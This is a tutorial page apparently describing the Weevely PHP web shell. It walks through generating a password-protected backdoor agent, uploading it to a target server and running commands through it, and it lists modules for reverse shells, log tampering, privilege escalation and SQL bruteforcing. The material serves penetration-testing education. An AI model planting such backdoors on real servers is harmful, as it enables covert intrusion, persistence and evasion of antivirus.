Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Installation

How to install: 

sudo apt install weevely

Usage

[email protected]:~# weevely -h
usage: weevely [-h] {terminal,session,generate} ...

positional arguments:
  {terminal,session,generate}
    terminal            Run terminal or command on the target
    session             Recover an existing session
    generate            Generate new agent

options:
  -h, --help            show this help message and exit

Generating a PHP Backdoor

For demonstration purposes, we will use Weevely to create a backdoor agent, which will be deployed on the target server. We just need to specify a password and a filename. The password will be used to access the backdoor later on.

[email protected]:weevely generate 123 backdoor.php

--> Generated backdoor with password '123' in 'backdoor.php' of 1332 byte size.
--> backdoor.php contains the following encoded file.

Uploading the Backdoor to the victim server

Uploaded to the victim server. Then, instead of accessing the file through the browser, we connect to it using shell.

[email protected]: weevely http://localhost/include/backdoor.php 123

--> [+] weevely 3.2.0
[+] Target: [email protected]:/var/www/html
[+] Session: /root/.weevely/sessions/localhost/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

We now have backdoor access to the target server, and we can execute commands.

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

[email protected]:/var/www/html $

Useful information

Weevely

Usage

weevely generate <password> <path>
weevely <URL> <password> [cmd]

Description

Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network.

Read the Install page to install weevely and its dependencies.

Read the Getting Started page to generate an agent and connect to it.

Browse the Wiki to read examples and use cases.

Features

• Shell access to the target
• SQL console pivoting on the target
• HTTP/HTTPS proxy to browse through the target
• Upload and download files
• Spawn reverse and direct TCP shells
• Audit remote target security
• Port scan pivoting on target
• Mount the remote filesystem
• Bruteforce SQL accounts pivoting on the target

Agent

The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

Modules

Module	Description
:audit_filesystem	Audit the file system for weak permissions.
:audit_suidsgid	Find files with SUID or SGID flags.
:audit_disablefunctionbypass	Bypass disable_function restrictions with mod_cgi and .htaccess.
:audit_etcpasswd	Read /etc/passwd with different techniques.
:audit_phpconf	Audit PHP configuration.
:shell_sh	Execute shell commands.
:shell_su	Execute commands with su.
:shell_php	Execute PHP commands.
:system_extensions	Collect PHP and webserver extension list.
:system_info	Collect system information.
:system_procs	List running processes.
:backdoor_reversetcp	Execute a reverse TCP shell.
:backdoor_tcp	Spawn a shell on a TCP port.
:bruteforce_sql	Bruteforce SQL database.
:file_gzip	Compress or expand gzip files.
:file_clearlog	Remove string from a file.
:file_check	Get attributes and permissions of a file.
:file_upload	Upload file to remote filesystem.
:file_webdownload	Download an URL.
:file_tar	Compress or expand tar archives.
:file_download	Download file from remote filesystem.
:file_bzip2	Compress or expand bzip2 files.
:file_edit	Edit remote file on a local editor.
:file_grep	Print lines matching a pattern in multiple files.
:file_ls	List directory content.
:file_cp	Copy single file.
:file_rm	Remove remote file.
:file_upload2web	Upload file automatically to a web folder and get corresponding URL.
:file_zip	Compress or expand zip files.
:file_touch	Change file timestamp.
:file_find	Find files with given names and attributes.
:file_mount	Mount remote filesystem using HTTPfs.
:file_enum	Check existence and permissions of a list of paths.
:file_read	Read remote file from the remote filesystem.
:file_cd	Change current working directory.
:sql_console	Execute SQL query or run console.
:sql_dump	Multi dbms mysqldump replacement.
:net_mail	Send mail.
:net_phpproxy	Install PHP proxy on the target.
:net_curl	Perform a curl-like HTTP request.
:net_proxy	Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scan	TCP Port scan.
:net_ifconfig	Get network interfaces addresses.

Development

Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a lot of other cool stuff.

Reference

• https://github.com/epinna/weevely3
• https://www.kali.org/tools/weevely/
• https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/